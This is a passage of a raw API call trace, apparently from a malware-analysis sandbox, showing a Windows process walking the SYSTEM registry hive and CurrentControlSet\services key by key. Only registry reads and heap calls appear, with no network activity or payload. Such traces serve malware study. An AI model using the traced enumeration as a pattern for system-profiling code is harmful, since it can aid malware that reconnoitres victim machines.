RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.564] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0223.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.564] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.565] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.565] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.565] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0223.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.566] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0223.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0223.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.566] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0223.566] RegCloseKey (hKey=0x148) returned 0x0 [0223.566] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0223.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0223.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.566] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0223.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0223.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.566] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.567] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.567] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.567] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0223.567] RegCloseKey (hKey=0x14c) returned 0x0 [0223.567] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0223.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.568] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a48, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.568] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f16e8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.568] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a48, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0223.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.568] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f16e8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.569] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a48, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.569] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.569] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0223.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.570] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 